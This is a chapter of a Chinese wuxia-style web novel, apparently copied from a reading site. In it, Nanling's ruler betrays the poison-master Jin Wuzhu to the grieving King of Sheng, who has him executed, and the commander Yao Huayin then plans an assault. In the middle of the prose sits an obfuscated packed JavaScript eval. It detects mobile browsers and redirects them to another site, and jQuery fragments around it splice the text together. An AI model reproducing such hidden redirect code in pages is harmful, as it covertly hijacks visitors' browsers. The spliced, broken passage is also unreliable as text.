82. 出卖

作品:《道长与女妖

    韶阳南安一带近月来算不上太平。


    王闯隔三差五派斥候去南陵南城附近捣乱,每次支棱几下就跑,再拜托韩露从紫云山上捉几笼山鸡送来,抄起从南陵带回的兵器一件件戳在山鸡翅膀上。


    眼看着山鸡中毒到死去的间隙越拉越长,到后来只是耷拉着膀子,照样能吃能睡,宰了喂狗,狗子吃了也活蹦乱跳。


    果然像行云说的一样,时至六月底,南陵淬在兵器上的桃夭之毒完全失效了。


    王闯心里佩服死了行云的占比之术,特意留下几只被南陵兵器伤过后痊愈的山鸡,身上用红丝带缠裹了,挂在校场的栏杆上,敲锣打鼓地宣扬,说韶阳军得老天眷顾,还有紫云山的道长做法,必会攻无不克,战无不胜,彻底驱散了将士们对桃夭之毒的恐慌。


    金吾城内,姚华音与季震和行云一起商议过后,定于六月二十七这一日再次出兵南陵,成化虏那边同时下令徐竭出征,两路兵马自北边和西边浩浩荡荡而来,南陵王成然如同热锅上的蚂蚁,一夜之间头发就愁白了三成。


    三更时分,近卫带进宫里一个人,身形矮小,披着黑色连帽斗篷,遮住半张脸。


    成然全身紧绷着,拧眉盯着来人,让侍从把烛台凑近些,那人仰头,帽子向后滑落,幽暗的光线下,他脸上风尘尽显,看得出连日奔波,唯有眼里傲气不减。


    成然惊讶,“你没死?!”


    金无珠双拳紧攥,愤然冷道:“成然,只要你能为我金家报仇,本家主就把我南陵世家百年来所有的毒药配方都给你!”


    当日寿诘下令放火,金无珠不得不躲进地下暗室里避祸,再出来时,屹立百年的南陵世家已经变成一片废墟,他没地方可去,又怕被寿诘的人发现,一路躲躲藏藏,费了好些力气才逃到南都来。


    成然没急着答应,低着头陷入沉思。


    淬在兵器上的桃夭之毒已经失效,南陵如今绝不是姚华音和成化虏的对手,金无珠提出的条件的确足够诱人,只要把金家家主带着所有剧毒秘方藏身在南都的消息放出去,就足以震慑四方。


    但寿谦毕竟是死在淬了桃夭的弩箭之下,南陵世家也毁于寿诘之手,南陵这个时候收留金无珠,等于是公开与盛国,与寿雍为敌,就算有南陵世家的剧毒在手,以一敌三也是痴人说梦。


    何况金无珠唯利是图,当下走投无路才来投奔南陵,一旦有人出了大价钱,难保不会出卖他。


    成然竟然犹豫了好一会儿,金无珠着实没有想到,刚要开口,成然突然道:“秘方在何处,拿来我看看。”


    金无珠难以忍受他命令的口吻,面色更沉,“在本家主心里!”


    成然舒了口气,有秘方都难以辨别真假,更遑论在他心里,没什么可犹豫的了,下令,“来人,绑了。”


    盛国境内,百姓们身穿孝衣,悼念他们素未谋面的世子寿谦。盛王宫里白幡遮天蔽日,悲怆的哀乐在空气中回荡。


    正殿居中停放着一座奢华的灵柩,寿诘带领文武官员跪在殿外,呜咽之声不断。


    两个年迈的文官哭晕在地,被内侍抬走。


    郑妃端正地站在灵柩旁,目光空洞,脸上没了哀伤。


    寿雍的病尚未痊愈,这样的日子难免伤怀,唇色比之前更苍白,他不理会郑妃,瞪一眼寿诘,正要下令起灵,南陵王成然的丧礼送进王宫。


    马车在正殿前的甬道旁停下,众人抹了把眼泪,一齐扭头看过去。


    南陵来使扯开布帘,一把从马车上揪下个人来,金无珠被五花大绑,头发蒙乱不堪,跌跌撞撞地摔在地上,众官员鲜少有人认识他,唯有寿诘瞪大了眼睛,又惊又怒。


    来使单膝跪地,高声道:“禀盛王,南陵世家家主金无珠害死盛国世子,潜逃到我南都城内,我家王爷将其奉上,凭盛王处置。”


    这话一出,殿前众人议论纷纷。


    寿谦的死因一直没有定论,有说是成然下的手,也有传是顾去病降了韶阳城主,是姚华音授意他故意害死的,不管怎么说,寿谦去了南陵世家之后就再没有回来,中了毒箭死在南都城下是不争的事实。


    成然远在百里之外,再怎么恨,也不可能立刻杀了他泄愤,眼前这个矮个子是为成然递刀的人,与南陵世家一战,盛国折损兵将七万余人,各个死状惨烈,葬身蛇腹的不计其数。众官员都把金无珠看成罪魁祸首,纷纷喊道:


    “祸害!杀了他!”


    先是被成然卖给寿雍,又被几百人围着侮辱呵斥,金无珠气的脸色赤红,强挣地站起身,甩开飘垂在头顶的白幡,眼底的恐惧、不甘被傲气和决绝掩盖,大声喝道:“盛王,是成然下令杀了寿世子,不是我金某人!杀子之仇不共戴天,你不派兵去灭了南陵,还等什么?!”


    南陵来使上前抓住他按在地上。


    正殿里,郑妃再度垂泪,侧过身背对着众人,寿雍脸上仿佛被寒霜覆盖,拎起袍子前摆跨出门槛,殿外随之一静。


    寿诘对金无珠这个让他栽了大跟头的毒王恨的咬牙切齿,急转回头看着寿雍,恨不能让父亲立马将这矮子分尸。


    金无珠不甘示弱,与寿雍冰冷的视线正面交锋,寿雍居高临下,像是看着一只疯狂的丧家犬,多留他一刻都觉得更恶心一分,至于那个南陵来使,也没有活着的必要了。


    “祭寿谦,连他一起。”寿雍撂下几个字,回身进了殿内。


    寿诘难掩兴奋,文武官员们无不拍手称快,四个内廷侍卫遵从王令,架起金无珠和南陵来使拖出宫门外。


    金无珠不足六尺高的身体几乎离地,脸上仍是宁死不屈的表情,那来使没想到会被迁怒至死,怔了好一会儿才放声大叫着求饶。


    王宫大门左右,两摊鲜血铺路,寿谦的灵柩缓缓而出,前后俱是身披甲胄的兵士护卫,在一片肃穆与悲痛之中出了祥隆,向城外的王陵进发。


    两国交兵尚且不斩来使,成然知道寿雍恨他入骨,最后的一点希冀也彻底破灭了。


    眼前唯一能做的就是拼尽权利守城,一旦城破,就只有死路一条。


    破釜沉舟的战力不可小觑,果然,南陵南城并不好打。


    那里地势低平,没有山林遮挡,集中了南陵近五分之一的兵力,王闯接连三次出兵都没有攻下,羞的恨不能找块豆腐撞死,骂骂咧咧地退回南安,给姚华音和季震分别写下描述战况及请罪的信折,和满是脏字,连哭带喊的抱怨。


    金吾城内,姚华音坐在府邸的方亭里,淡然看着王闯虫爬似的字迹。


    五日前收到这封信折,她便派人去韶阳请季震过来商议,算算时辰,也该到了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231711|153002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>盛夏,知了的叫声潮水似的,一浪接着一浪,府中的花都谢了,闻不到沁鼻的幽香,葱郁的树木和草地散发着醇厚清新的味道。


    姚华音放下信折,接过侍婢递来的茶盏,几口热茶下肚,细汗带走热意,感觉凉爽了不少。


    行云一早背着背篓去城外的山上为她摘消暑的野果,不知味道怎样,大热的天上山,能想见有多劳心劳神,远没有一杯热茶来的方便。


    盏中残茶荡着她绝美的笑影,方亭外的石板路上,军靴声交叠着传来,梁越引着季震正朝这边找来。


    姚华音放下茶盏,起身带季震回到卧房前厅,下令任何人不得入内,摊开图纸,与他对坐在桌案前。


    如今的局面,之前与行云一起商议时就已经预料到。


    南陵中西部尽是山地矮丘,易守难攻,徐竭的军队只攻下两座小城,之后就举步维艰,根本无法让成然调离一部分在南城的驻军,来相助韶阳。


    其实再耗上一段时间,等南陵军泄了这股力气再出兵可能更容易些,只是战事拖的时间一长,韶阳军同样有泄力的风险,更让人不安是盛国和寿雍,姚华音想在盛军恢复战力前攻下南陵南城。


    季震手掌握着腰间刀柄,信心满满:“末将与行云同去南安,像三年前一样,换王闯回来守着韶阳。”


    他钦佩行云的谋略,加上王闯在信上把他吹嘘神乎其神,还在军中到处宣扬,说他是紫云山的小神仙,带他同去既可以商议对策,又能振奋军心。


    姚华音摇头,笑意轻松,“王闯之前只是佯装败退,这次出兵久攻不下,看他信上自卑的字眼,脸皮都快掉在地上了,你要是在这个时候换他回韶阳,他怕是以后出门都得用布巾遮脸了。”


    季震手上一松,有些意外,“主君的意思呢?”


    姚华音不假思索,“还是我带着行云去,必要时我会亲上战场。只是南安一带的兵力不够,旁处又要提防寿雍和成然偷袭,不敢随意调动,我叫你来是想让你帮我拿个主义,从哪里调兵过去增援合适。”


    季震脸一黑,魁伟的身体转过去,不悦地侧对着她。


    他一个大将军,驻守韶阳责无旁贷,但眼下战事又起,姚华音一直把他留在韶阳,竟然宁可自己上战场也不给他仗打。


    虽说当年反攻南陵,夺回阳炎二城时,她也曾亲自上战场,但那时韶阳兵少将寡,不得已才让她去涉险。


    他不是信不过她,只是为她挂心,抛开她韶阳城主的身份不说,她还是他的亲妹子,是他在这个世上唯一的亲人,万一有个闪失,他不敢想象。


    姚华音偏头看他,“想说什么就说。”


    季震不知道要怎么劝她,也知道劝不住,酸溜溜的感情牌他是宁死都难打的,憋闷着回过身,胡言道:


    “主君要是舍不得那道士,非要与他同去就直说,何必拐弯抹角!”


    他话一出口也觉得不妥,恨自己的口舌就像不受脑子控制似的,自责地站起来,以示歉意。


    姚华音沉下脸,盯着他,视线随他由低到高,“季震,你要不是我哥,这张嘴早都保不住了。”


    季震叹息着拱手,“末将这就去领罚。”


    要是在三年前,一顿军棍是免不了了,姚华音卷起图纸扔给他,“行了!琢磨正事去吧。”